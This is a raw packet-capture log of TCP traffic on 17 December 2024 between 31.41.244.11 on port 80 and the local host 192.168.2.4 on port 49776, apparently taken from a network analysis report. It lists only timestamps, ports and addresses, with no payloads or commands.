Dec 17, 2024 22:06:15.916706085 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.916807890 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.918064117 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.918117046 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.918198109 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.918248892 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.919473886 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.919533014 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.919581890 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.919631958 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.920847893 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.920901060 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.920989990 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.921077967 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.922281027 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.922334909 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.922342062 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.922375917 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.923608065 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.923682928 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.923743010 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.923784018 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.924947023 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.925091028 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.925153971 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.926323891 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.926376104 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.926381111 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.926431894 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.927681923 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.927742958 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.927772999 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.927823067 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.928986073 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.929066896 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.929125071 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.929177046 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.930315971 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.930372953 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.930440903 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.930524111 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.931632996 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.931687117 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.931771040 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.931822062 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.932961941 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.933037043 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.933116913 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.933177948 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.934328079 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.934441090 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.934452057 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.934487104 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.935652971 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.935702085 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.935715914 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.935750961 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.936813116 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.936878920 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.936944008 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.937077999 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.938110113 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.938177109 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.938199997 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.938265085 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.939397097 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.939456940 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.939486027 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.939532995 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.940613031 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.940738916 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.940746069 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.940793991 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.941868067 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.941919088 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.941929102 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.941967010 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.943114996 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.943238020 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.943295002 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.944497108 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.944550037 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.944591045 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.944641113 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.945720911 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.945825100 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.946057081 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.946111917 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.946935892 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.947073936 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.947124958 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.948138952 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.948204994 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.948266983 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.948316097 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.949395895 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.949451923 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.949516058 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.949564934 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.950645924 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.950772047 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.950778008 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.950815916 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.952013016 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.952075958 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.952289104 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.953257084 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.953320980 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.953386068 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.953439951 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.954413891 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.954466105 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.954471111 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.954509974 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.955754042 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.955789089 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.955818892 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.955848932 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.956964970 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.957014084 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.957022905 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.957061052 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.958211899 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.958265066 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.958450079 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.958560944 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.959522963 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.959695101 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.959748983 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.960705996 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.960769892 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.960803032 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.960943937 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.961977959 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.962012053 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.962027073 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.962057114 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.963260889 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.963332891 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.963373899 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.963426113 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.964467049 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.964545965 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.964577913 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.964624882 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.965786934 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.965843916 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.965919971 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.966013908 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.967118025 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.967154026 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.967169046 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.967201948 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.968297005 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.968381882 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.968420029 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.968470097 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.969512939 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.969572067 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.969599009 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.969650030 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.970762968 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.970844984 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.970909119 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.970967054 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.972086906 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.972121000 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.972142935 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.972158909 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.973251104 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.973301888 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.973304033 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.973345995 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.974498987 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.974555969 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.974709988 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.974802017 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.975769043 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.975825071 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.975886106 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.975966930 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:15.977087975 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:15.977148056 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.100713968 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.100764990 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.100826979 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.101237059 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.101288080 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.101344109 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.101387024 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.102238894 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.102287054 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.102385044 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.102430105 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.103286982 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.103346109 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.103396893 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.104310036 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.104357004 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.104414940 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.104460955 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.105355024 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.105408907 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.105446100 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.105492115 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.106399059 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.106445074 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.106473923 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.106518030 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.107415915 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.107497931 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.107542992 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.108483076 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.108529091 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.108555079 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.108597040 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.109513044 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.109678030 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.109741926 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.110546112 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.110593081 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.110760927 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.110805035 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.111563921 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.111604929 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.111644030 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.111682892 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.112643957 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.112684965 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.112723112 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.112759113 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.113684893 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.113725901 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.113987923 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.114034891 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.114722013 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.114763021 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.114809036 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.114850044 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.115760088 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.115833998 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.115881920 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.116771936 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.116822004 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.116936922 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.116986036 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.117810965 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.117857933 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.117937088 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.117983103 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.118880987 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.118932009 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.118985891 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.119930029 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.119981050 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.120049953 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.120096922 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.120963097 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.121011019 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.121015072 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.121061087 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.121948957 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.121995926 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.122071028 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.122114897 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.123016119 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.123132944 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.123181105 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.124022961 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.124070883 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.124152899 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.124197960 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.125102997 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.125152111 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.125155926 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.125201941 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.126123905 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.126250029 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.126319885 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.127159119 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.127249002 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.127316952 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.128215075 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.128268957 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.128333092 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.128384113 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.129257917 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.129309893 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.129556894 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.129607916 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.130261898 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.130311012 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.130386114 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.130435944 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.131330013 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.131467104 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.131524086 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.132343054 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.132380009 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.132409096 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.132441998 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.133392096 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.133466005 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.133546114 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.133594990 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.134430885 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.134486914 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.134643078 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.134699106 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.135454893 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.135513067 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.135593891 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.135668993 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.136521101 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.136574984 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.136667013 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.136715889 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.137532949 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.137603998 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.137698889 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.137748003 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.138572931 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.138629913 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.138694048 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.138746977 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.139601946 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.139656067 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.139712095 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.139761925 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.140644073 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.140710115 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.140764952 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.140814066 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.141702890 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.141767025 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.141786098 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.141829967 CET	49776	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:16.142801046 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.142858982 CET	80	49776	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:16.142860889 CET	49776	80	192.168.2.4	31.41.244.11
